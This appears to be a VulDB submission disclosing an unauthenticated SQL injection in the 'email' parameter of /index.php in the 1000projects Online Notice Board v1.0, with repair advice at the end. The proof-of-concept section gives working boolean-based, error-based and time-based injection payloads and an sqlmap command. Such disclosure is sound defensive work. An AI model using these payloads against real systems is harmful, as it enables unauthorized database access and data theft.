Title | https://1000projects.org Online Notice Board Project Synopsis v1.0 SQL Injection |
---|
Description | # Projectworlds Online Notice Board Project Synopsis Project V1.0 /index.php SQL injection
# NAME OF AFFECTED PRODUCT(S)
- Online Notice Board Project Synopsis
## Vendor Homepage
- https://1000projects.org/?s=php
# AFFECTED AND/OR FIXED VERSION(S)
## submitter
- gaolei
## Vulnerable File
- /index.php
## VERSION(S)
- V1.0
## Software Link
- https://1000projects.org/online-notice-board-project-synopsis.html#google_vignette
# PROBLEM TYPE
## Vulnerability Type
- SQL injection
## Root Cause
- A SQL injection vulnerability was found in the ' /index.php' file of the 'Online Notice Board Project Synopsis' project. The reason for this issue is that attackers inject malicious code from the parameter ' email‘ and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.
## Impact
- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.
# DESCRIPTION
- During the security review of "Online Notice Board Project Synopsis",I discovered a critical SQL injection vulnerability in the "/index.php" file. This vulnerability stems from insufficient user input validation of the ' email' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.
# No login or authorization is required to exploit this vulnerability
# Vulnerability details and POC
## Vulnerability lonameion:
- ' email' parameter
## Payload:
```makefile
Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: email=1' OR NOT 1115=1115#&password=1&login=
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: email=1' OR (SELECT 7918 FROM(SELECT COUNT(*),CONCAT(0x7176786b71,(SELECT (ELT(7918=7918,1))),0x7178766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ONIM&password=1&login=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=1' AND (SELECT 3584 FROM (SELECT(SLEEP(5)))XOZt)-- XHaX&password=1&login=
```
## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
```bash
sqlmap -u "http://x.x.x.x/index.php" --data="email=1&password=1&login=" --dbs
```
<img width="803" alt="Image" src="https://github.com/user-attachments/assets/715869f0-da34-491f-b310-677eafb65fe8" />
# Suggested repair
1. **Use prepared statements and parameter binding:**
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
2. **Input validation and filtering:**
Strictly validate and filter user input data to ensure it conforms to the expected format.
3. **Minimize database user permissions:**
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.
4. **Regular security audits:**
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
|
---|
Source | ⚠️ https://github.com/ubfbuz3/cve/issues/16 |
---|
User | gaolei (UID 85900) |
---|
Submission | 05/29/2025 04:07 AM (2 months ago) |
---|
Moderation | 05/29/2025 12:57 PM (9 hours later) |
---|
Status | Accepted |
---|
VulDB Entry | 310505 [1000 Projects Online Notice Board 1.0 /index.php email sql injection] |
---|
Points | 20 |
---|